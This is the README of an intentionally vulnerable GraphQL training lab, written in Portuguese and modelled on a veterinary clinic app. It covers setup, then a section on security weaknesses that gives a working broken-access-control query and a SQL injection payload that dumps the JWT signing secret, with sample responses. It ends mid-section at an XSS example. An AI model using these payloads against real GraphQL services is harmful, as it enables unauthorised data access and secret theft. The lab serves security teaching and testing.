
Pesquisa sobre GraphQL do ponto de vista de AppSec.
Um laboratório foi criado para estudar os diferentes problemas, este considera o contexto de um veterinário gerindo cuidados de saúde de cães.
O laboratório foi desenvolvido utilizando IntelliJ IDEA Community Edition.
Domínios utilizados são os seguintes:```text
127.0.0.1 localhost 127.0.0.1 domain1.local 127.0.0.1 domain2.local
Existem as condições e suposições do laboratório:
* Um Veterinário pode estar associado a 0 ou N cães.
* Um Cão pode estar associado a 0 ou 1 Veterinário.
* Um Veterinário possui uma propriedade chamada **Popularidade** presente no sistema de armazenamento (banco de dados), mas não deve ser acessada pelo cliente GraphQL por ser uma informação sensível.
* O ponto de vista de consumo de dados do GraphQL é o Veterinário. As informações do Cão são públicas.
* O laboratório é explicitamente uma aplicação vulnerável na qual várias vulnerabilidades foram implementadas e são identificadas usando o marcador `[VULN]` nos comentários.
* Quanto à autenticação, um serviço falso de terceiros foi implementado (via um servlet) e retorna um token JWT contendo o nome do Veterinário no token.
Uma vez iniciado via configuração de execução presente no projeto ou pelo comando `mvn spring-boot:run`, o laboratório está disponível nestes endpoints:
* [GraphiQL](http://localhost:8080/graphiql)
* [GraphQL](http://localhost:8080/graphql)
Para empacotar a aplicação, como um arquivo jar portátil, use o comando `mvn package` (um arquivo jar pré-construído está disponível [aqui](https://github.com/righettod/poc-graphql/releases)):
* O arquivo jar será criado na pasta *target* e será nomeado *graphql-poc.jar*.
* Use o comando `java -jar graphql-poc.jar` para executar a aplicação.
## Implantação no Docker
> A imagem é publicada todos os dias no [DockerHub](https://hub.docker.com/r/righettod/poc-graphql)
Para implantar a aplicação em um container docker, siga os passos:
1. Certifique-se de ter o `docker` instalado.
2. `git clone` do repositório.
3. Entre no diretório clonado.
4. Construa a imagem docker usando `docker build -t poc-graphql .`
5. Agora uma imagem chamada **poc-graphql:latest** foi criada em sua máquina.
6. Execute o container usando `docker run -p 8080:8080 poc-graphql:latest`
7. Acesse o laboratório usando os seguintes endpoints:
* [GraphiQL](http://localhost:8080/graphiql)
* [GraphQL](http://localhost:8080/graphql)
## Fraquezas de segurança
### Autorização
*controle de acesso quebrado*
[CWE-285](https://cwe.mitre.org/data/definitions/285.html)
#### Problema
Como o GraphQL é baseado em um único endpoint para o qual todas as requisições são enviadas e como a autorização está fora do escopo da especificação (nenhum recurso embutido).
Cabe à aplicação implementar uma lógica de autorização.
No meu laboratório, tenho uma vulnerabilidade nesse ponto porque a verificação do token de acesso não verifica que o token pertence ao veterinário passado no **veterinaryId**
**Exemplo:**
Eu peço um token de acesso para **Dr Julien** que tem o identificador **3** no armazenamento enviando esta requisição GraphQL:```javascript
query getAccessToken {
auth(veterinaryName: "Julien")
}
Recebo o token de acesso na seguinte resposta GraphQL:```javascript { "data": { "auth": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhdWQiOiJwb2MiLCJzdWIiOiJKdWxpZW4iLCJpc3MiOiJBdXRoU3lzdGVtIiwiZXhwIjoxNTQ2NDQyOTAyfQ.H9A-vXRsiivFGShtdhiR3N2lSDDx-sNqbbJxMRNnExI" } }
Envio uma requisição GraphQL para a consulta `myInfo(...)` usando o token de acesso obtido, MAS especifico o identificador **2** que é o de **Dr Benoit**:```javascript
query brokenAccessControl {
myInfo(accessToken:"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhdWQiOiJwb2MiLCJzdWIiOiJKdWxpZW4iLCJpc3MiOiJBdXRoU3lzdGVtIiwiZXhwIjoxNTQ2NDQyOTAyfQ.H9A-vXRsiivFGShtdhiR3N2lSDDx-sNqbbJxMRNnExI", veterinaryId: 2){
id, name, dogs {
name
}
}
}
Eu recebo na resposta GraphQL a lista de Dogs associados com Dr Benoit:```javascript { "data": { "myInfo": { "id": 2, "name": "Benoit", "dogs": [ { "name": "Babou" }, { "name": "Baboune" }, { "name": "Babylon" }, ...
#### Recomendação
Com GraphQL, passamos de uma matriz de autorização usando `Role x Feature` para segurança no nível de dados usando `Role x Data` porque também há um único endpoint. A identidade do usuário e as funções devem ser passadas para a camada superior responsável por obter os dados (ou agir sobre eles) a fim de aplicar uma verificação usando a identidade do usuário antes de obter os dados.
### Injeção
[CWE-20](https://cwe.mitre.org/data/definitions/20.html) / [CWE-116](https://cwe.mitre.org/data/definitions/116.html)
#### Problema
De acordo com como as informações da consulta/mutação/assinatura da solicitação GraphQL são usadas pelo servidor GraphQL para agir sobre os armazenamentos de dados, existe possibilidade de injeção.
Nos meus laboratórios, tenho uma vulnerabilidade nesse ponto sobre SQLi na consulta `dogs(namePrefix: String, limit: Int = 500): [Dog!]` porque o parâmetro **namePrefix** é usado em concatenação de strings para construir uma consulta SQL.
**Exemplo:**
Eu envio esta solicitação GraphQL para listar o conteúdo da tabela `CONFIG````javascript
query sqli {
dogs(namePrefix: "ab%' UNION ALL SELECT 50 AS ID, C.CFGVALUE AS NAME, NULL AS VETERINARY_ID FROM CONFIG C LIMIT ? -- ", limit: 1000) {
id
name
}
}
Eu recebo na resposta GraphQL o segredo usado para assinar o token JWT junto com o nome do cachorro cujo nome começa com ab:```javascript { "data": { "dogs": [ { "id": 1, "name": "Abi" }, { "id": 2, "name": "Abime" }, { "id": 50, "name": "$Nf!S?(.}DtV2~:Txw6:?;D!M+Z34^" } ] } }
Sobre XSS, é interessante notar que a resposta do GraphQL reflete o parâmetro enviado em caso de falha de validação na requisição enviada.
**Exemplo:**